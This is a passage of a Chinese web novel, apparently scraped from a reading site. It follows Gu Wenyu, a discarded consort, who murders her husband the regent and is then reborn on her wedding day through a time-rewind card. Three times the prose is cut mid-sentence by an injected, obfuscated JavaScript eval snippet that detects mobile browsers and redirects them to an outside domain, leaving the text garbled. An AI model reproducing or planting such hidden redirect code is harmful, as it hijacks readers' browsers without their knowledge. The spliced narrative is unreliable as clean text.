“若非母亲你的坐视不理,还有父亲的一毛不拔,崔家郎何必在日里苦读,夜里耕种,最后没等到科考便熬坏了身子,最后无钱治病,生生熬死在了二姐姐面前? “二姐姐出嫁一年不到便成了寡妇,在青春正好的时候死了丈夫,活活守了十多年寡,这既是母亲的错,也是父亲的错,但唯独不是我的错!我没错!没错就是没错!!” 宋母气得面容扭曲,心中愈发苦了,举起巴掌就要再向顾闻玉脸上打来。 “连为人父母的难处都不知道体谅半点,尽说些异想天开的胡话,你还说你没错?!” 顾闻玉身为女儿的心,早在宋母刚刚的那迎面的一巴掌里就被摔碎了,如今又怎可能生生受宋母第二个巴掌? 于是顾闻玉冷着脸,一把甩开宋母的手,一抹眼泪,背过身去。 她冷冰冰道:“你走吧,既然你不信我、认定是我害了二姐姐,我与你便也没什么话好说了。 “你认为我是不懂得体谅父母、不孝不悌的孽种,刚好,我也觉得你是不懂得养育子女、又蠢又毒的母亲,既然我们两看相厌,日后自然也不必相认了!” 顾闻玉说话间,拽出身上那枚每个顾家子都有的玉牌。 她细细打量这枚玉牌,看着这枚在她走失时、在她流放时,在她再苦再难时都没想过抛弃和典当的玉牌,似乎又忍不住要流下泪来。 可她不允许自己再流泪了,于是她心一横,用力掷在地上,将它砸得粉碎! “日后,你若去了,我不会为你哭灵,而我若死了,你也不必来为我收尸!你我之间的母女情分,如同此玉!” 清脆的玉碎声中,宋母勃然色变,被气得狠了,连身形都不由得踉跄了一下。 “好,好,好。你顾闻玉便是最清高的人,这世上所有的人都欠了你,所有人都没有你有道理!你连你二姐姐都能下这般狠手,连生你养你的母亲都能说断绝关系就断绝关系,谁能比得过你呢?” 宋母也是流着眼泪。 “你既然这般有主意,连低头半分都不肯,连认错都不肯,那你日后若是被摄政王休弃了,也莫要回到家里!” 顾闻玉冷硬道:“不劳费心!我便是死在外头,也绝不会回去碍你们的眼!” 母女两人不欢而散。 之后的两年里,无论顾闻玉是被废弃还是被囚禁,无论摄政王的后院出现了什么变化,宋母也真的没有再登过听玉院的门。 可今日的白天,她又来了。 顾闻玉本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399998|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该见她的,因为上次她们二人的见面已经那样难堪。 可想到这两天府上挂的白布,顾闻玉到底打开了听玉院的门。 这一次,母女二人相见后,顾闻玉发现宋母苍老得厉害。 这位养尊处优了一辈子,从闺阁到出嫁再到诞子,都没吃过什么大苦头的贵妇人,如今头发竟花白得厉害,脸上皱纹密布,就好像她们并非是两年不见,而是二十年未见了。 顾闻玉沉默看她,后者则浑浑噩噩,在顾闻玉的屋子坐了许久许久,才突然说道:“你二姐姐死了。” 顾闻玉说:“我知道。” 宋母的眼泪又倏地落了下来,可她自己似乎没有注意到,轻声哽咽道:“她是淹死的。” 顾闻玉说:“我知道。” 宋母蓦地提高了声音,哭道:“不,你不知道,你什么都不知道!你二姐姐怎么会淹死呢?她小时候最擅长的就是泅水,当年你们去外祖家时,她最喜欢做的事,就是偷偷潜入荷塘,摘来莲子给你们姐妹吃! “那时候我们都说,这个小姑娘瞧起来文静秀雅极了,结果骨子里却皮得很,和条小鱼似的,就像是天生要活在水里的,也不知道长大后会嫁给怎样的人家…… “后来她出嫁又归家,寡居了十多年,每日里郁郁寡欢,脸上再没有了笑,让我这个做娘的看得心如油煎……又后来,她终于又嫁出去了,和她最喜欢的郎君终于修成了正果,我以为她总算能过上好日子了……可才三年,三年啊,她就被淹死了! “你的二姐姐,你那和小鱼一样又孝顺又活泼,擅长泅水的二姐姐,她竟然淹死了?江南的连天湖水都淹不死她,这府里的小花池又怎么可能淹死了她?!” 顾闻玉沉默着,没有再说话。 于是宋母也没有再说。 她呆呆坐在椅子上,没有出声,只有眼泪似乎流不尽般源源不绝地落下。 突然的,宋母像是想到什么,整个人都似乎被某种执念点亮了。 她扑到顾闻玉面前,牢牢抓着顾闻玉的手,期盼地说:“是不是跟那个孩子有关?那个从杜家旁系过继给你二姐姐、养在你二姐姐膝下的孩子,是不是跟他有关? “在你二姐姐掉进水里的时候,他不是就在你二姐姐身旁吗?是不是他害的你二姐姐?是不是他推了你二姐姐?是不是他守着花池,不许你二姐姐上来?!” 不等顾闻玉回答,宋母又急急地说:“是不是跟那个孩子的母亲有关?那个狐媚子,那个贱女人,她是不是不甘心当‘摄政王嗣子的生母’?她是不是想要成为王府的主母,所以才容不得你二姐姐、狠心害了你二姐姐?是不是?!” 宋母又哭又喊,摇着顾闻玉的手:“你说啊,你一定知道什么的吧?那可是你的二姐姐啊,你怎么能忍心就这样看着她去死?怎么能忍心看着你的亲娘死去活来什么都不说?你说啊,你告诉我啊,你说啊!!” 顾闻玉看着宋母的眼睛。 有一瞬间,宋母在狂烈的期盼中以为她要对她说些什么了? 可最后,顾闻玉还是什么都没说。 终于,待到宋母哭得没有了力气,哭得晕了过去后,顾闻玉把宋母交给门外候着的顾家老仆,让那名老仆把宋母带回顾家。 旋即,顾闻玉重回听玉院的卧房里,坐在窗前,久久地凝视窗外。 天色黑了又白。 当第二天到来时,她这个被囚禁了两年的废妃,第一次被摄政王允许离开听玉院,大发慈悲地让她去为她二姐姐哭灵,去送她二姐姐最后一程。 只不过,在听到小厮的传话时,顾闻玉没有立即动身离开听玉院,去往灵堂,而是向那个传话的小厮道:“劳烦你,去请摄政王过来一趟吧。” 小厮迟疑着,面露难色。 顾闻玉道:“我知晓你的难处,我也不为难你。你只要这样告诉摄政王,说我公公,也就是杜老爷子当年死时,曾交待了我一件事,我出于某种考量,一直没有同他说,可现在,我觉得是时候告诉他了。 “你让他来听玉院找我,只他一人来。但若他一定要带旁人来听,我也无所谓,只要他不怕就好……你就这样去同他说吧。 “他一定会来的。” 顾闻玉说着,看向了内室里唯一擦得铮亮的铜镜。 铜镜里,那只只有她能见到的鬼女,正向她缓缓露出赞许笑容。 4. 第4章 死地 杜宏云果然是一个人来的。 并且他并不是在白天的时候光明正大地来这个院子,而是在入夜时分,吊唁的宾客们都离开了后,才来到了听玉院。 而这时,听玉院内由顾闻玉亲手做的菜与汤,早就凉了彻底——这是顾闻玉拿出了自己的最后一根玉簪,又同看管院子的仆役说尽了好话,甚至搬出了摄政王后,才终于得到机会,去小厨房里亲手做出的饭菜。 杜宏云不该不知道一个被囚禁在深宅内院里的女人,想要置办这一桌饭菜有多么艰难、要花费多么大的工夫。 但他毫不关心。 所以,当杜宏云的脚踏在听玉院的地上后,他见到顾闻玉的第一句话就是: “我还有要务在身,你有什么想说的,就尽快说了。” 没有半句温情,没有半句安抚。 想来是觉得温情与安抚这样需要耗费精力的东西,花在顾闻玉这样丑陋的老妪身上实在没有必要,甚至哪怕只是做个样子,都觉得反胃想吐吧。 顾闻玉不气不恼,反而笑了一声,垂头看着面前置办的这一桌饭菜,说:“王爷,你还记当年我们流放耒阳时,你跟公公和婆母发誓,说你一定要出人头地,为杜家翻案。 “公公赞你,说你不愧是杜家人,婆母不敢劝你,只背着你掉了一晚上的泪,第二天未到寅初,便起了身,想要为你置办一桌好菜……可那时候,我们过得多难啊,屋子透风又漏雨,草铺盖永远都湿漉漉的,就连锅碗瓢盆都是借好心邻家的,又哪里置办得了一桌饭菜? “所以最后,我们摘了野菜,拌了一碟翡翠塔,又借了半块豆腐,煮了一碗白璧青云,最后用采来的蘑菇,做了一碗半月沉江……那天早上的饭桌上,所有人都在哭,偏王爷你不肯哭,反而一直在笑,一直在告诉大家,说你一定会回来,一定会带杜家人重回京城! “所有人都被王爷你鼓舞了,重振希望,对你有着无数殷切期盼,可只有我看到,王爷你在离开的时候背着人,偷偷擦了一把眼泪,在翻过去军营的最后一个山坡时,一直看着我们的方向。 “那时候我在想,王爷您其实也是害怕的吧?您也怕战场上的那些血腥厮杀,害怕自己再也见不到父母亲朋,害怕你还未替杜家翻案,就与旁人一样,马革裹尸,一去不回。 “所以那一天,我就下定了决心,一定要替王爷您守好杜家。若您回了,无论您是怎样回来的,我都是您的妻,一辈子都要对您好;而您若死了,我也是杜家妇,待到送走公公婆母,送小姑出嫁小叔娶妻后,我便一头撞死,随您去了。” 这一刻,听到顾闻玉这一番无怨无愧的恳切话语,杜宏云终于有些动容了。 他望向餐桌,终于发现制成这一桌饭菜的食材,都是他许多许多年都没有吃过的东西了。 野菜,豆腐,野蘑菇,大酱汤。 这些难登大雅之堂、却又是许多年前支撑他走过贫苦远离绝望的食物,瞬间勾起了杜宏云的那一分回忆与恻隐。 杜宏云终于想起来,在最初时,他其实也与顾闻玉有过一段举案齐眉的时光——不长,但确实存在过。 想到这里,杜宏云的表情柔软了两分,终于踏进屋内,坐在了饭桌旁。 杜宏云叹了口气,声音也不再像刚才那样冷硬,说:“闻玉,我知道,你一直都是个好性的,当年我杜家流放时,你虽然想过要离开,可最后,你依然为我守住了杜家,替我送走了爹娘,我也一直对你心怀感激…… “可你千不该万不该,因你自己生不出来而对你二姐姐心生妒忌,害得珍玉小产,身子大损!你可有想过,珍玉她不仅是我的侧妃,更是你的二姐姐? “此等恶毒行径,若是放在旁人身上,必定要将你休弃归家的,甚至吊死了你也是合情合理!但我念在你过去陪我吃的那十多年苦头、念在你为我爹娘送终的份上,我只将你囚在听玉院内,好好养着。 “这既是对你的小惩大戒,也是对你的保护。如今,你二姐姐也意外去了,无论你们姐妹生前曾有过什么恩怨,也算是一笔勾销了……闻玉,莫再对你二姐姐心怀怨怼了,随我去灵堂,为她上一柱香,送她最后一程吧。” 顾闻玉静静听着,既不辩驳,也不起身。 她说:“王爷,你说的这些话,有什么意思呢?旁人不知道二姐姐是怎么小产的,你也不知么?” 杜宏云脸色一沉:“顾闻玉,你这是在说什么?事情都过去两年了,你还不肯悔改、还要狡辩吗?!” 顾闻玉说:“王爷,如今我只问你一个问题——你当真不知道我二姐姐是怎么死的吗?我二姐姐她,真的是失足跌落花池淹死的吗?” 杜宏云毫不犹豫:“当然如此!珍玉她失足跌落花池,是当时在场的所有丫鬟仆妇都亲眼目睹的,除了溺亡之外,怎么还可能有第二个答案?!” 这一刻,顾闻玉终于笑了起来。 她大笑着,笑得前仰后合,笑得眼泪滚滚,笑得甚至要一手按在桌子上,才令自己不至于滑落下去。 杜宏云皱眉看她,眼神浮出了些许不解与不耐,而当他目光扫过顾闻玉那张历尽风霜后,半点不柔软不美丽不可人的面庞时,更是闪过一丝隐藏的厌恶。 不过杜宏云什么都没说,反而十分有风度地坐着、等待着,直到顾闻玉的笑声告一段落,才说道:“笑完了么?笑完了,就随我去灵堂吧。” 杜宏云起身便走,可走出两步后,却没听到身后有人跟上。 他皱眉转身,这才发现顾闻玉此刻竟不但没有听话起身、跟在他身后,反而好整以暇地坐在椅子上,甚至端起了碗拿起了筷,一副准备吃饭的模样。 这一刻,一股强烈的不满不悦袭来,杜宏云绷紧下巴,冷声呵斥:“顾闻玉!你这是在干什么?!” 顾闻玉没有抬头,说道:“杜宏云,你知道吗,其实很长一段时间里,我都对你抱有希望。 “哪怕你最开始本该是我的姐夫,哪怕你连累得我与你一同流放耒阳,甚至当你作为杜大将军回来后,看到我的第一眼就狠狠皱眉,嫌弃我在地里耕作的样子上不得台面……可我还是对你抱有希望的。” 顾闻玉是对杜宏云抱有期盼的。 因为杜宏云是她的夫君,因为木已成舟,她已经嫁给了杜宏云,甚至把自己最好的青春年华都花在了杜家。 十年的时光,不可轻抛,而这世间的规矩也不容许她轻抛,所以,她若不对杜宏云抱有期望、不盼着他回心转意,念着她的好,念着她这么多年来的不离不弃,她又能怎么办呢? 可杜宏云只是不耐打断:“你这是在翻旧账吗?你现在说这些还有什么意思?!” 顾闻玉又笑了:“是啊,没什么意思,后来,当我们躺在同一张床上,当有一天晚上,我夜里惊醒了,我害怕地跟你说,我做了一个噩梦,可你问也不问,甚至半句话都懒得同我说,只是侧过身去,自顾自睡了…… “那时候我就知道,没什么意思。我这辈子,指望不了你的。你是王爷,是将军,是翻手云覆手雨的京城的大人物,却唯独不是我的夫君。我指望不了你。” 杜宏云神色有些茫然,似乎是在脑中回想顾闻玉说的那一晚、那一幕。 可他想不起来。 杜宏云只记得他的这个老妻厨艺不错,哪怕是野菜豆腐也能做得香甜味美,撑着杜家走过了三千里流放之路;他还记得,这个老妻力气大得一点都不像大家闺秀,流放路上她扛着断了腿的他向前走时,简直就像是一头横冲直撞的牛。 杜宏云甚至还记得,他的老妻嗓门很大,初到耒阳时,还曾为小贩缺的一个铜板而躺在地上打滚撒泼,惹得整条街的人都来瞧,也臊得杜家一整天都没人好意思出门。 那所有与顾闻玉有关的,都是遥远的,是上不得台面的,更是令人颜面尽失的。 它们在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399999|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜宏云脑中化作了一个模糊朦胧又粗野低俗的侧影,当杜宏云不亲眼注视着顾闻玉的面庞时,他甚至连顾闻玉到底长的什么模样都想不起来。 所以他当然也想不起来,当自己与顾闻玉同床共枕的那段时间里,有哪个晚上,他是因厌烦那张老脸而背过了身,又有哪个晚上,他是因不耐烦与那大嗓门说话而选择了装聋作哑。 顾闻玉继续说道:“我一直都知道的,我与你,算不上夫妻,所以我指望不了你……可没关系。那时候的我告诉自己,没关系,哪怕我当不了杜宏云的妻,但我能当好摄政王的王妃就好了。 “只要我宽容大度,只要我不妒不忌,为你掌家、为你管好后院,哪怕你不念着我的好,这世上的法理法度,也会逼着你给我一份体面的。 “可是,当我成为摄政王王妃还没有一天,我的姐姐就进门了,那一天,法理法度没有为我说话;又后来,我被诬陷给我亲姐姐下药,被一纸休书打为弃妇时,法理法度还是没有为我说话。” 杜宏云越发不悦,越发厌烦,越发觉得这个无知粗俗的老妇讲不通道理,一天到晚无理取闹。 这一刻,熟悉的羞耻与厌憎,在他胸口生起。 那是他多年前亲眼目睹顾闻玉为了一个铜板而在地上撒泼打滚时,从心中生出的怨愤。 “所以说来说去,你还是死不悔改、还是心怀怨怼!”杜宏云厉声呵斥,“明明你与珍玉是亲姐妹,为何你就不能学学你二姐姐的知书达理?哪怕你不读诗书,不通女戒,但你至少能不能别像个市井泼妇一样那么上不得台面?” 顾闻玉冷笑一声:“是啊,像我二姐姐一样知书达理,然后死得悄无声息,对不对?” 听玉院内的气氛有一瞬间的凝固。 杜宏云不知不觉往回走了几步,来到了一个伸手就能触及到顾闻玉的位置,冷声说道:“你这次又想说什么?” 顾闻玉蓦地抬头,带着愤怒厌憎、如同熊熊燃烧的烈火的目光射向杜宏云: “杜宏云,你真的以为二姐姐不知道,你养在她膝下的‘嗣子’,其实就是你的儿子、是你的外室子吗? “你是不是也以为我从来没有发现,你当年回到杜家时带来的那位只借住一晚就离开的‘战友遗孀’,其实跟你早有苟且? “你是不是以为根本不会人知道,前段时间溺死在京城护城河外的那具无名女尸,正是你养了多年的外室?! “你是不是觉得,你这么多年来一直都把这些事做得天衣无缝,成功将所有的女人都瞒在了鼓里,是因为你智谋无双,是因为我们愚不可及? “所以当你攀上更好的女人、迫不及待想要甩开我们的时候,我们就该引颈就戮,给你们让出位置?!!” 顾闻玉的连声厉斥,如同一击重锤,沉沉砸在杜宏云心头。 杜宏云甚至来不及思考顾闻玉是如何得知的这些秘闻,就已经下意识伸手,目光狠毒,毫不犹豫地决定,要将这个胆敢揭穿这些绝不可被人知晓的要命真相的愚蠢老妇扼死当场! 可杜宏云万万没想到的是,他的动作快,顾闻玉的动作却更快! 顾闻玉左手一松一抬,瓷碗还未落地,她那只按过猪的粗糙手掌,就已经牢牢攥紧杜宏云的手腕,用力一捏。 咔! “啊!” 杜宏云瞬间发出痛叫。 可却不仅仅是因为那只被顾闻玉捏碎的手腕,更是因为被顾闻玉毫不留情刺进他眼眶的木箸! 痛! 剧痛! 在这一刻,杜宏云甚至感到了比在战场上还要强烈可怕的死亡预兆! 他想也不想,抬起另一只手意图制住这个他从来瞧不上的老妇。 可顾闻玉却早已掀翻了桌子,拿到了一枚碎瓷片,在这电光石火的瞬间,用她那双杀过牛也宰过猪、耕过地也抬过犁的手,稳稳地、毫不留情地割开了杜宏云的脖子。 5. 第5章 新生 皮肉被撕裂的声音,就像是当年流放路上,顾闻玉为了替高烧不退的杜宏云降温而撕开自己嫁衣时的声音一样。 而后,红色——那嫁衣的红色,飘摇着融入了血的红,在这一瞬间从杜宏云的脖子喷涌而出,飞溅到了极远的地方,描出了地狱的鲜,也描出了喜堂的艳。 这一刻,杜宏云轰然倒下。 这个仿佛谁都不能将他击倒的大人物、伟丈夫,他的眼中终于涌出了惶恐,涌出了恐惧,还涌出了哀求。 他口中发出令人悚然的嗬嗬声,两手死死按住自己的脖子,用尽全力地挽留自己的性命。 他还用自己唯一的眼睛哀哀看着眼前的顾闻玉,试图唤起面前这个女人的悲悯,让她想起他不是旁人,而是她的夫君,想起他们本该一体,想起他们一荣俱荣,一损俱损——若他这个当夫君的死在了这里,顾闻玉这个谋害丈夫的又能有什么好果子吃呢? 君为臣纲,父为子纲,夫为妻纲。 妻杀夫——罪不可赦! 可顾闻玉眼皮都不抬,拽着杜宏云的头发,像是拖一只死猪那样,将他从地上拽起。 她从地上拾起无数冰冷的碎瓷,强行塞进杜宏云的嘴里。 当那淋漓的颜色混合着血肉从杜宏云口中涌出时,顾闻玉竟没有为这可怕的一幕感到丝毫不适,反而生出了无尽快意! 就像是这么多年来,杜宏云高高在上地看着她一次次无声吞下血肉时的快意一般! “在我二姐姐进你杜家门的第一年,我是恨她的。” 顾闻玉将最尖利的那块碎瓷片握在掌心,抵着杜宏云的脸,缓缓下滑,缓缓撕裂那张道貌岸然的面皮。 “我恨她为什么非要跟我这个亲妹妹抢丈夫,我恨她为什么抢走了父母还不够,而一定要把我的所有都抢走! “可后来我明白了,她没得选。她寡居在家十多年,根本不是为了等你,而是她不想嫁——她连旁人的正妻都不想做了,又怎么会想做你的妾? “可她没得选。哪怕她知诗书、识大体、懂进退,学识渊博,知道那么多我不知道甚至你也不知道的道理……可那又如何?所有人都逼她成为你的妾,而我这个妹妹更不可能体谅她。我恨她,我好恨她,而她或许也是恨我的。” 顾闻玉一笔一划,在杜宏云左脸刻下一个“贝”字。 此刻,杜宏云仍没有死。 他满头满脸满身都是血,可他仍没有死,仍想要活着。 他用力从鲜血淋漓的喉咙里发出怪响,想要奢求顾闻玉的怜悯,或者是引来外头值夜的仆役也好。 可这听玉院实在太偏太偏。 无人能来救他。 就像这么多年来无人能来救顾闻玉一样。 “又后来,在我被休弃的那一年里,我发现了我二姐姐膝下的嗣子,竟是你的亲儿、是你不知羞耻搞出的外室子!于是那一年里,我开始恨你那个名叫小荷的外室。 “我恨她不知廉耻,我恨她自甘下贱,我恨她明知你杜宏云乃有妇之夫,却还是乘虚而入,当了你近十年的外室,甚至跟你生下了一个孽种! “而当她来到我面前耀武扬威,说你多么宠爱她,说你告诉她你和我同床的时候是多么恶心,说你是多么全心全意为你们的孩子铺路,甚至不惜令我二姐姐小产、终身无法再孕育子嗣的时候,你知道我是多么恨她么? “我恨不得食她的肉,寝她的皮!我恨不得她带着她那个孽种立时死了,死无葬身之地! “可有一天,她再没有来了,又有一天,我听闻了她的死讯和你将要尚公主的消息,又有一天,我听闻我二姐姐溺死在了浅浅的花池里,周围唯有你的嗣子一人…… “啊,我明白了,哈哈哈……我明白了,我一梦三十年,如今我终于明白了!” 顾闻玉吃吃笑了起来,眼里再没有了泪,而只有火。 “杜宏云,真正该死的人,其实是你啊!因为只要你还活着一天,我们就都在输,我们就谁都不可能赢! “我顾闻玉难道还不够宽容大度、贤良淑德吗?我二姐姐顾珍玉难道还不够端庄知礼、进退有度吗?就连你那个外室小荷,她为你生儿育女,顶着所有人的鄙弃跟了你十年,她对你难道还不够温柔小意、柔顺体贴吗? “可为什么她们都死了,只有你赢了——只有你这个忘恩负义、不知廉耻、道貌岸然的中山狼,赢了?! “你该死!杜宏云,你该死!哪怕所有人都说你功高盖世,说你力挽狂澜,说你名震天下,说你万人不可挡之勇,甚至给你立了长生牌位祝愿你长命百岁,我也要说你该死! “他们不敢杀,不愿杀,不想杀,那就让我来杀!” 这一刻,顾闻玉终于收回瓷片。 而杜宏云的右脸,则被深深刻下了一个“戋”字。 但顾闻玉仍不肯停歇,不肯给杜宏云留下半点翻身机会。 她抬起实心的椅子,在杜宏云不似人声的嘶叫声中,一下一下,生生打断了他的手骨与脚骨,让他变成了一个目不能视,口不能言,手脚俱断的废人! 最后,顾闻玉丢下椅子,来到内室,坐在妆台前,看向铜镜。 铜镜外,顾闻玉苍老,丑陋,满身血渍。 铜镜内,顾闻玉年轻,清秀,干干净净。 【黄粱一梦终须醒,无根无极本归尘。】 可能是铜镜内的“顾闻玉”动了手,又或许是铜镜外的顾闻玉推翻了烛台。 顷刻间,熊熊烈火便烧了起来,几个呼吸后,便蔓延至整个听玉院。 顾闻玉能听到,听玉院外有人大喊着“走水了”,也能听到生命力格外顽强的杜宏云趴在地上,口中一边发出嗬嗬的怪声与哭泣,一边努力挪动他粉碎的四肢,想要逃出生天。 顾闻玉也能感受到,滚烫的火焰逼近身旁,火舌舔舐着她的皮肤,烧灼着她的发丝。 可她不知为何,竟感不到痛。 她看着镜子里的自己,无悲无喜,那一直灼烧着她心脏的火焰,似乎终于随着这场大火淌出了她的胸口,还给她以前所未有的宁静祥和。 “黄粱一梦终须醒,无根无极本归尘。” 这,或许就是顾闻玉的一生吧。 狂暴的火焰中,顾闻玉缓缓闭上眼,趴伏在妆台上,沉沉睡去。 恍惚间,她感到自己开始变小,越来越小。 她听到自己刚出生时,母亲抱着年幼的自己,口中念着对一个孩子未来的殷殷期盼;她听到记忆中一直眼高于顶的兄长,围在她的身旁,发誓一定会好好保护她;她还听到,那二十多年没有再见到的大姐姐,和向来与她合不来的二姐姐,此刻正探头,好奇看她,手里拿着布老虎和铜铃铛,似乎是想要逗她玩…… 这是……多么美好的梦啊…… 顾闻玉睡去,睡去。 沉沉睡去。 直到一个焦急的声音将她唤醒: “三姐儿,三姐儿?” “快醒醒三姐儿,马上就到迎亲的时候了,你怎的睡过去了?快醒醒啊!” 就像是偌大的梦境降临,又像是长久的噩梦被用力打碎。 这一刻,世界之外,小说家模拟系统愕然看着柳轻絮手中青色书籍上,那张缓缓浮出,又缓缓消散的卡牌。 - 【SR:妖魔·镜女】 【描述:黄粱一梦终须醒,无根无极本归尘】 【详细:一次性卡牌,使用后可令时间回溯到指定位置(一年内)。】 - 唯恐柳轻絮没有看到这张牌,系统连声提醒:【可以了,可以了,亲爱的写手,我们拿到牌了!】 当故事抵达某个节点的时候,某张带着强烈情绪、或是承载着至关重要的转折的卡牌,就会随之浮现。 在系统看来,让《心火》的故事在这里结束、拿到这张保底的牌后,柳轻絮的危机就算是彻底解除了。 因为,有了这张【镜女】牌,柳轻絮想从这深山老村里跑路,那还不是随随便便的事? 只要把时间回溯到一两月前,回到山下白事还没影子的时候,柳轻絮不但能成功跑路,还能拖家带口地跑! 甚至柳轻絮还能再从顾闻玉身上抽张【力大如牛】或【精力充沛】,然后力大如牛精力充沛地拖家带口地跑! ——这样的结局,难道还不够么? 柳轻絮的回答是: 【不够。】 【你还没有看到她真正的未来!】 - 这一刻,顾闻玉发出一声长长的吸气声,从梦中惊醒了过来。 她掀开盖头,茫然四顾: 红色,红色,红色。 到处都是红色。 就像是她出嫁的那一天,又像是她割开杜宏云喉咙的那一天! 此刻,窗外的天还是黑的。 可新嫁娘却只在头天晚上小眯了一会儿,便被人早早拉起来梳妆打扮。 顾闻玉犹记得,正是因为这一天的自己起得太早,太过困倦,这才会在出门的时候没看清门槛,迷迷糊糊间撞翻了同天出嫁的二姐姐,最后上错了花轿,改变了她们姐妹的一生。 而如今……如今…… 这是梦吗?是……死前的幻觉? 还是老天怜惜她,给了她重来一次的机会?! 浑浑噩噩中,顾闻玉被喜娘按在妆台前,继续梳妆。 她的心跳开始加快,背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400000|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后慢慢发汗,手掌轻轻一攥,便是说不出的潮湿与紧张。 怎么办? 怎么办? 顾闻玉在心中一遍遍问自己:我该怎么办? 下意识的,顾闻玉看向了自己面前的铜镜。 铜镜中的自己,没有风霜和操劳留下的苍老疲惫,而只有属于少女的青涩和秀气。 哪怕她依然远比不上大姐姐的淑丽,也比不上二姐姐的书卷气,可十五岁的年轻女孩,又能丑到哪里去? 顾闻玉眨了眨眼,铜镜里的人也眨了眨眼。 顾闻玉又摇了摇头,铜镜里的人也摇了摇头。 “她”……不在么? 这一刻,顾闻玉心中生出了说不清的失落。 可下一秒,顾闻玉便看到镜子里的人笑了起来。 【想好了吗?】 只有顾闻玉能听到的声音,再次响起。 【对于你的新生,你想好了吗?】 如同吃了一记定心丸,顾闻玉的心脏轻轻地、稳稳地落地。 她目光投向窗外,看着借着红烛,望向那没有半分天光的尽头,只短短片刻,便做下决定。 一刻钟后,顾家老爷顾知远,被自己的老妻大力摇醒,愕然得知自己那位原本应安安静静等在闺房、等待崔家来迎亲的小女儿顾闻玉,竟不知所踪! 喜娘和丫鬟们翻遍了顾三小姐的院子,都没能找着这位待嫁新娘! “混账!一个好好的姑娘,怎么会在院子里突然消失?!”顾老爷一边穿鞋一边恼火大骂,“都愣着干什么?还不赶紧给我去找?!” 若是在出嫁当天没了新娘,他顾家还要脸不要?! 之后,又是半刻钟,一个更坏的消息传来: “不好了不好了!不好了老爷,三小姐和二小姐,她们,她们——” “她们怎么了?” “她们刚刚在祠堂前吵了起来,最后双双落进了湖里!” “什么?!” 顾老爷眼前一个眩晕,一屁股坐在椅子上,几乎要起不来。 这天寒地冻的,两个体弱的姑娘掉进湖里,哪怕会游泳,又怎么可能不生病? 如果是旁的时候也就算了,她们两个时辰后就该出门了啊! 顾老爷嘴唇哆嗦着,叠声道:“大夫,大夫——快去请大夫啊!” 可当顾家仆人连夜敲开城中大夫的门,将大夫请来为顾家的两个小姐诊治后,顾老爷却得知了一个更不幸的消息: 他的三女儿虽然无恙,可他的二女儿——被他寄予厚望、即将嫁去高门杜家的好女儿顾珍玉,却因骤然落水,此刻正高烧不退。 所以,对于今日白天的迎亲,和杜家即将到来的花轿,她是决计起不来,也上不了花轿啦! 这一瞬间,顾老爷几乎恨不得昏死过去,恨不得此刻高烧不退的人,是他那个顽劣的三女儿,而非是有大好前程的二女儿。 他坐在椅子上,头晕目眩了好一会儿,才腾地站起,气冲冲地拿起藤条,冲进祠堂,想要给那跪在祖宗牌位前的三女儿好好来上几鞭子! 可他刚抬起手,下一刻,他就被自己三女儿蓦地投来的视线,震慑在了原地。 那是怎样的眼神啊——倔强,执拗,冷酷,甚至是狠毒! 就像是熊熊燃烧的业火,当罪恶烧尽之前,哪怕罪人无论哀嚎恳求,它也永不黯淡、永不熄灭! 顾老爷捏着藤条的手指开始有些发抖。 他慢慢垂下手,也慢慢敛去了脸上的暴怒。 而直到他彻底冷静下来后,他听到自己的三女儿一字一顿说:“父亲,我忠勇侯顾家,兵马起家,百余年前鼎盛一时,位极人臣,就连三公九卿,都要给我们顾家两分薄面。 “可如今,我们顾家却是上京有名的破落户,在我出生的那一年,几乎连乳母都要请不起了。父亲,你真的甘心如此吗?” 听到这番大逆不道的、一点儿都不像是女儿该对父亲说的话时,顾老爷本该是暴怒的。 可不知道为什么,在看着三女儿的这双眼睛时,顾老爷的心就像是被人偷偷戳了个洞,每当它胀起想要发怒时,那个洞总会将他的怒火悄悄漏去。 于是,顾老爷干巴巴地说道:“甘心又如何?不甘心又如何?你大兄文不成武不就,你二兄倒是有点天赋,可前些年他腿伤了,再没有出仕的可能,如今说这甘不甘心的……又有什么用?” 顾闻玉说:“大兄二兄做不到的,不代表我也做不到。” “……什么?”顾老爷几乎以为自己听错了。 于是顾闻玉清清楚楚地、斩钉截铁地说:“父亲,我愿顶替二兄之名,为顾家一搏前程、挣回祖上荣光!” 6. 第6章 危机 轰隆! 现实世界中,当柳轻絮沉迷在那个属于顾闻玉的世界里时,系统却注意到,窗外又有一记不详的紫电划破天空。 一道接一道,每一道都会令天上的乌云变得更为诡谲! 系统心中生出了忧虑,它无形的意识体游离出了柳轻絮的肉|身,不安地围绕茅草屋转了一圈。 